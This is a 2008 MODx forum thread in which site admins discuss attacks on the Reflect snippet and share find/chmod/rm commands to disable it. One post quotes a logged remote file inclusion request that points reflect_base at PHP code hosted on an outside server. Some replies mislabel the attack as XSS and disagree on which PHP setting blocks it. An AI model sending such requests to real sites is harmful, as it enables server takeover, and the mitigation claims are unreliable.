We launched new forums in March 2019—join us there. In a hurry for help with your website? Get Help Now!
    • 21056
    • 327 Posts
    We’ve many ModX installations on our server, so even though we have register_global=off which meant there was never any danger, as a quick fix yesterday I ran the following command (from root), just to deny any access to the file (without deleting it for now, just until it was confirmed it is not needed).

    find . -name "snippet.reflect.php"  -exec chmod 0000 '{}' \; 


    We should now be able to remove them all with:

    find . -name "snippet.reflect.php"  -exec rm -f  '{}' \; 


    Thought I’d pass it on in case it is useful to anyone.
      Author: ManagerManager plugin - customise your ModX manager interface

      Rckt - web development, Sheffield, UK
      • 16278
      • 928 Posts
      I just spotted a heap of accesses to a Reflect file like the following in my logs:
      GET /assets/snippets/reflect/snippet.reflect.php?reflect_base=http://www.tecfedericotaylor.edu.gt/gif/prc.gif? HTTP/1.1
      :’( :’( :’(
      Is this the same kind of thing as above? What is it actually trying to do?
        • 16034
        • 107 Posts
        Yes, it’s the same.

        It’s trying to run it’s own PHP-code on your server. The file http://www.tecfedericotaylor.edu.gt/gif/prc.gif contains PHP-code. (Try save as, and give it the extension txt instead of gif to see it.)

        This particular script seems to only gather and show info about the server, others do a lot more harm, like installing backdoors, adding MODx pages, etc.
          MODx snippet-glossary 101:
          Ditto = Content Lister -- Wayfinder == Menu Builder -- Jot = Comment Control
          • 20289
          • 958 Posts
          Access denied
          The requested URL could not be retrieved

          While trying to retrieve the URL:

          http://www.tecfedericotaylor.edu.gt/gif/
          prc.gif

          The following error was encountered:

          The requested object is INFECTED with the following viruses: Trojan.PHP.Agent.a


          Please contact your service provider if you consider it incorrect.
          Generated:
          Tue Nov 25 16:14:18 2008
          Kaspersky Internet Security 2009
            [img]http://i10.tinypic.com/52c4eir.gif[/img][/td]
            [td][Wiki] [Persian support forum]
            [SVN] [RTL SVN Branch] [bugs] [FishEye+Crucible] [Learn MODx!] | [My Google Code]
            [font=tahoma][برای دسترسی به راهنمای فارسی به [url=http://www.modxcms.ir]
            • 16034
            • 107 Posts
            That security warning is a bit weird. If you try to save the gif-file as a txt-file and look at the code. (And know a little bit PHP). You’ll see that the only thing it does is gather and show information.

            Obviously it can be used for some bad stuff by including it in the reflect-snippet. But in itself I see no way that it could harm you, unless you put it up on your webserver and let other people access it...
              MODx snippet-glossary 101:
              Ditto = Content Lister -- Wayfinder == Menu Builder -- Jot = Comment Control
              • 5274
              • 177 Posts
              The logs for one of my sites show hundreds of requests for the reflect script starting on Sunday around 5pm MT and continuing regularly through this morning (39 hours). I have renamed the reflect file for now. Apache access log indicates codes 500, 200 and 404 for the attempts on the reflect file. The error log is filled with notices and warnings of undefined variables, properties of non-objects and failures to open streams. The 200 means OK and has me digging deeper into what has been happening. My website file counts and file sizes all appear to be in order so far after an initial inspection. More to come...
                • 20289
                • 958 Posts
                Quote from: Kleist at Nov 25, 2008, 03:30 PM

                That security warning is a bit weird. If you try to save the gif-file as a txt-file and look at the code. (And know a little bit PHP). You’ll see that the only thing it does is gather and show information.

                Obviously it can be used for some bad stuff by including it in the reflect-snippet. But in itself I see no way that it could harm you, unless you put it up on your webserver and let other people access it...

                Most of the time AV’s are just detecting Viruses by their HEX signature combination that easily could be changed in any order leaving the application functionable but not recognized as an infected app, Same regulations or better to say same logic is applied by AV’s to recognize possible danger from server side scripting languages parameters, because they trace & combine the code not making a decision on scripts output or result. whoo... well again most of the time they may fail to recognize which script is right or wrong but for the code itself i trust the AV’s detection.
                  [img]http://i10.tinypic.com/52c4eir.gif[/img][/td]
                  [td][Wiki] [Persian support forum]
                  [SVN] [RTL SVN Branch] [bugs] [FishEye+Crucible] [Learn MODx!] | [My Google Code]
                  [font=tahoma][برای دسترسی به راهنمای فارسی به [url=http://www.modxcms.ir]
                  • 33372
                  • 1,611 Posts
                  It’s always seemed like a bad idea to me to ship snippet code (which is only intended to be copied and pasted into the Manager) with a .php extension. I think that this practice should be discontinued entirely. If these files are shipped with .txt extensions then there’d be no need to study and resolve possible security implications of running them independently (a context in which they were never intended to be used).

                  This example also demonstrates the utter folly of trying to keep your server secure while leaving register_globals set to ON. If you do this, then you should expect to be hacked at some point, since defending against every possible XSS attack while running any complex application like MODx is extremely difficult. Just changing that one setting in your .htaccess or php.ini file will allow you to sleep much better at night and spend your time doing more productive or enjoyable things.

                  If you have register_globals set to OFF then you are not vulnerable to this attack or any similar XSS attack.
                    "Things are not what they appear to be; nor are they otherwise." - Buddha

                    "Well, gee, Buddha - that wasn't very helpful..." - ZAP

                    Useful MODx links: documentation | wiki | forum guidelines | bugs & requests | info you should include with your post | commercial support options
                    • 20289
                    • 958 Posts
                    Quote from: ZAP at Nov 25, 2008, 05:06 PM

                    It’s always seemed like a bad idea to me to ship snippet code (which is only intended to be copied and pasted into the Manager) with a .php extension. I think that this practice should be discontinued entirely. If these files are shipped with .txt extensions then there’d be no need to study and resolve possible security implications of running them independently (a context in which they were never intended to be used).

                    +1 on that.
                      [img]http://i10.tinypic.com/52c4eir.gif[/img][/td]
                      [td][Wiki] [Persian support forum]
                      [SVN] [RTL SVN Branch] [bugs] [FishEye+Crucible] [Learn MODx!] | [My Google Code]
                      [font=tahoma][برای دسترسی به راهنمای فارسی به [url=http://www.modxcms.ir]
                      • 5274
                      • 177 Posts
                      Quote from: ZAP at Nov 25, 2008, 05:06 PM

                      If you have register_globals set to OFF then you are not vulnerable to this attack or any similar XSS attack.

                      Interesting, the Secunia advisory doesn’t say anything about register_globals and instead sites magic_quotes_gpc. Does register_globals off "trump" magic_quotes_gpc disabled?

                      http://secunia.com/Advisories/32824/

                      "Successful exploitation requires that "magic_quotes_gpc" is disabled."